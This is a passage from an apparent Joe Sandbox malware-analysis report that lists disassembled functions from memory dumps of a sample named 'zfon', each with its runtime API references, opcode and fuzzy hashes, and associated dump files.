Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: strcspn$_invalid_parameter_noinfo_noreturnlocaleconvmemmove
String ID:
API String ID: 1669350605-0
Opcode ID: b568904929ef177ea3e5454489a4b32e3a5935e52dbc23fadad983666b9a9220
Instruction ID: 4c22434ac7fd3ffe52c534d17d1d1e4fd6fe933afb57cc81890880823bc60e9a
Opcode Fuzzy Hash: b568904929ef177ea3e5454489a4b32e3a5935e52dbc23fadad983666b9a9220
Instruction Fuzzy Hash: 3AE19722B18A82D9EF119F69D4442AC67B1BB58BC8F644132DF4D53BA4EF3CD64AC300

Function 00007FF7F96E6470 Relevance: 6.3, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E64A1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E64B4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E64C4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E64D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E64E3

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5e4904112bc70dfaf0cd0831b4c3e5b204e79148fe6a76846035a198c2a67414
Instruction ID: 7c205dc031f8362b1782294a1390928d186fe21c07b3eebf3757d025a0ba783a
Opcode Fuzzy Hash: 5e4904112bc70dfaf0cd0831b4c3e5b204e79148fe6a76846035a198c2a67414
Instruction Fuzzy Hash: B501A72195D98181DB12FF20D84537CA3B5FB84BB8F905630DA3D4A5DDCF39D49183A9

Function 00007FF8BFB5A64C Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE5D
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE96
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D1C1

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A7A7
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A806
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A838
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A848

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 3527a2ec92af913d7f7e1f06c3a52e2048bea7df529658eb449da16ed24f77af
Instruction ID: 914d556eb92d3d2b1f0ee1a7fed63a094c28d980585fcad89cc1256fdeb88462
Opcode Fuzzy Hash: 3527a2ec92af913d7f7e1f06c3a52e2048bea7df529658eb449da16ed24f77af
Instruction Fuzzy Hash: F6916962E08A5699FB118FE8D8603BCB7B5BB04788F544036DF4D2B699DF7CA846C340

Function 00007FF7F971F710 Relevance: 6.2, APIs: 4, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c5707d6e0830c9ddeb49068d82b2b4c75d610491c9a8256c2b7ce4358af33d
Instruction ID: 089eada996e512019073c8595b1f2424946dc4edb7d64e84c43b5694070f798f
Opcode Fuzzy Hash: 98c5707d6e0830c9ddeb49068d82b2b4c75d610491c9a8256c2b7ce4358af33d
Instruction Fuzzy Hash: EB714022B09B81CAEB11DFB5E8402AD7BB5EB48798F444035DE5D23B9DCE38D466C364

Function 00007FF7F96FCDC0 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96FCE29
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FCE51
new.LIBCMT ref: 00007FF7F96FCE82
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FCEAA

Part of subcall function 00007FF7F96E63C0: cef_string_map_alloc.LIBCEF(?,?,?,?,?,00007FF7F96E5F68), ref: 00007FF7F96E6410
Part of subcall function 00007FF7F96E63C0: cef_string_map_alloc.LIBCEF(?,?,?,?,?,00007FF7F96E5F68), ref: 00007FF7F96E6443

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 178571748c1f6b41fb67adfce5d8230ea5df66adfb37037394259fba66d6769e
Instruction ID: ab8242f5f02cc8278418bcca364658cdb9e1b2842d4622b160f8f2098ea9d65b
Opcode Fuzzy Hash: 178571748c1f6b41fb67adfce5d8230ea5df66adfb37037394259fba66d6769e
Instruction Fuzzy Hash: C0618D62B05B4185EB04EF65E8402ADABB2FF44B98F898035DE2D177D9EF38D455C3A0

Function 00007FF7F96FD3C0 Relevance: 6.2, APIs: 4, Instructions: 161COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96FD429
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FD451
new.LIBCMT ref: 00007FF7F96FD482
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FD4AA

Part of subcall function 00007FF7F96E6230: cef_string_map_alloc.LIBCEF(?,?,?,?,?,00007FF7F96E5EE8), ref: 00007FF7F96E6280
Part of subcall function 00007FF7F96E6230: cef_string_map_alloc.LIBCEF(?,?,?,?,?,00007FF7F96E5EE8), ref: 00007FF7F96E62B3

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 811f5f7df03e4e301300a13012f2cad1700dfafc7e0f81aadfde158a6b6bfa72
Instruction ID: b3f00ed02db09099ed1e6a7963bf636c59dec25e38cd92176596f6c1cb441ed0
Opcode Fuzzy Hash: 811f5f7df03e4e301300a13012f2cad1700dfafc7e0f81aadfde158a6b6bfa72
Instruction Fuzzy Hash: E1619E62B05B4185EB04EF65D8502ADA7B1FB44B98F888035DE2D177D9EF38E449C3A0

Function 00007FF7F96F9040 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F91F5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F9205
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96F920E

Strings

H, xrefs: 00007FF7F96F9199

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: free
String ID: H
API String ID: 1294909896-2852464175
Opcode ID: 8f5110f9e4781b45c3775bc87bf2a545de0990f1d9289061d4064065fc1216d8
Instruction ID: 4c02428e58780f5d98a6308e485e41e5dcd7bf5e803dda57c041e2e89eaf4359
Opcode Fuzzy Hash: 8f5110f9e4781b45c3775bc87bf2a545de0990f1d9289061d4064065fc1216d8
Instruction Fuzzy Hash: B061603260AB4582EB25DF15D944228B7B5FB45B88F588439CBBD07798FF38E4A0C390

Function 00007FF7F96E3550 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96E35EB

Part of subcall function 00007FF7F97A3D44: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F97A3D70

cef_string_map_alloc.LIBCEF(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96E336B), ref: 00007FF7F96E361B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E36BA
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E36DE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc$malloc
String ID:
API String ID: 2675522757-0
Opcode ID: bcef8a7eb3371c1d10f51197cd9fa49dbabc02a3fcdca66b90c5840cacfef3be
Instruction ID: aed3f142459158b11598c982d661d357f399a12f283a79c5b3d5dda9e9b97123
Opcode Fuzzy Hash: bcef8a7eb3371c1d10f51197cd9fa49dbabc02a3fcdca66b90c5840cacfef3be
Instruction Fuzzy Hash: 6E51082250974141EF24BF25D8407BAE3B2EF84B94FA80534DA6D0B7E9DF3DE48187A5

Function 00007FF7F96FAB00 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96FABA9
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FABD1
new.LIBCMT ref: 00007FF7F96FAC0B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FAC31

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 764de21c2739535333701c34ddd89eb00324bc8f6fca46ffdd7256b3f34d3a35
Instruction ID: 280bd3f6bda46691baced7741f7b888a3292621d8d56f11975cd03c0875e8dac
Opcode Fuzzy Hash: 764de21c2739535333701c34ddd89eb00324bc8f6fca46ffdd7256b3f34d3a35
Instruction Fuzzy Hash: 9641A172609B8185EB659F15E800269B7B6FB44B98F988135CFAD07798FF3CD485C3A0

Function 00007FF7F96FA970 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF7F96FAA19
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FAA41
new.LIBCMT ref: 00007FF7F96FAA7B
cef_string_map_alloc.LIBCEF ref: 00007FF7F96FAAA1

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 38c0154fc2ebe3a2842d2e6c07cffeee60fb038aafe1afa7b16cf9b35fa85edf
Instruction ID: 58a05cdd69e79284b4171037fbe6667bdc3ab9dfac37141fa130f668a9c7a8ef
Opcode Fuzzy Hash: 38c0154fc2ebe3a2842d2e6c07cffeee60fb038aafe1afa7b16cf9b35fa85edf
Instruction Fuzzy Hash: E5419072609B8184EB659F15E90026AB7B1FB44B98F988135DF6D07798FF3CD845C3A0

Function 00007FF8B90EA240 Relevance: 6.1, APIs: 4, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

ctype.LIBCPMT ref: 00007FF8B90EA309
std::_Facet_Register.LIBCPMT ref: 00007FF8B90EA321
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90EA35C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90EA36D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesctypestd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 2716750221-0
Opcode ID: 7a11b1e22366df953c56bcdb6bf69edafa6fe217a70891a973f310d91d7d0277
Instruction ID: d2ac9404135f199fe9b7c2e97b643ae4f25acf3420f62bbc3481890d8079bfce
Opcode Fuzzy Hash: 7a11b1e22366df953c56bcdb6bf69edafa6fe217a70891a973f310d91d7d0277
Instruction Fuzzy Hash: 03417C62E0CAC6D1EE119F2DE8401B96761EB98BE4F584231EB6D077E5DE3CE446A700

Function 00007FF8B90E1B60 Relevance: 6.1, APIs: 4, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1B7D
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1B87
islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90E1BC4
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1BEC

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ___lc_codepage_func___lc_locale_name_func__pctype_funcislower
String ID:
API String ID: 2234106055-0
Opcode ID: 07b5da062168d5669a39c56d43f65f3b717084410d52d1df7f7576f4b81ce3ea
Instruction ID: fed6ea8cf0d5d5527e280f2999c294b16425d94b6b730ad7e50f35e9383aa6a5
Opcode Fuzzy Hash: 07b5da062168d5669a39c56d43f65f3b717084410d52d1df7f7576f4b81ce3ea
Instruction Fuzzy Hash: 6031D926E0CBC186FB618F1EA45037D6A61EB94BD1F188035DB9E47795DE3CE446C710

Function 00007FF7F96FF260 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E18F0: isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E1973
Part of subcall function 00007FF7F96E18F0: isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E198F
Part of subcall function 00007FF7F96E18F0: isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E19A9
Part of subcall function 00007FF7F96E18F0: isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7F96E19C4
Part of subcall function 00007FF7F96E18F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1A26
Part of subcall function 00007FF7F96E18F0: memcpy.VCRUNTIME140 ref: 00007FF7F96E1A43
Part of subcall function 00007FF7F96E18F0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96E1A5C

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96FF335

Part of subcall function 00007FF7F974DE70: new.LIBCMT ref: 00007FF7F974DE97

SetEvent.KERNEL32 ref: 00007FF7F96FF36B
CloseHandle.KERNEL32 ref: 00007FF7F96FF374
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7F96FF395

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: isspace$free$CloseEventHandlemallocmemcpy
String ID:
API String ID: 902297528-0
Opcode ID: afebb808071df177693384e420aa04bb1f73b567d595f9ed8da547e32d591526
Instruction ID: 6511232db1fa0967fe15c69a1267ff6ae8f76115a39acbc436f7e479ce26802b
Opcode Fuzzy Hash: afebb808071df177693384e420aa04bb1f73b567d595f9ed8da547e32d591526
Instruction Fuzzy Hash: 1D415E22B08B4189E710EFA1D8503AC7376AB58B98F850135DE6D27BD9DF39D40AC3A0

Function 00007FF8B90E1A20 Relevance: 6.1, APIs: 4, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1A37
___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1A41
isupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90E1A77
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1A9F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ___lc_codepage_func___lc_locale_name_func__pctype_funcisupper
String ID:
API String ID: 3857474680-0
Opcode ID: 697f0993e0c5f1d24f9c767484efc03f421657d87d9f7281fdc3a14322cfee9f
Instruction ID: 8863bd177def4feb2d2cc6b1b4f1bd17cec6b7416a9a928a72c87e46b1922b5e
Opcode Fuzzy Hash: 697f0993e0c5f1d24f9c767484efc03f421657d87d9f7281fdc3a14322cfee9f
Instruction Fuzzy Hash: 0331B362E4CBC286FB514F1DA45037D6A62EB90BD1F1C8035DBAD07795DE6CE486C710

Function 00007FF8BFB5D284 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB5EDC4: Replicator::operator[].LIBVCRUNTIME ref: 00007FF8BFB5EE1E

Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE5D
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5CE96
Part of subcall function 00007FF8BFB5CDCC: DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D1C1

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D304
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D313
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D390
DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5D39F

Memory Dump Source

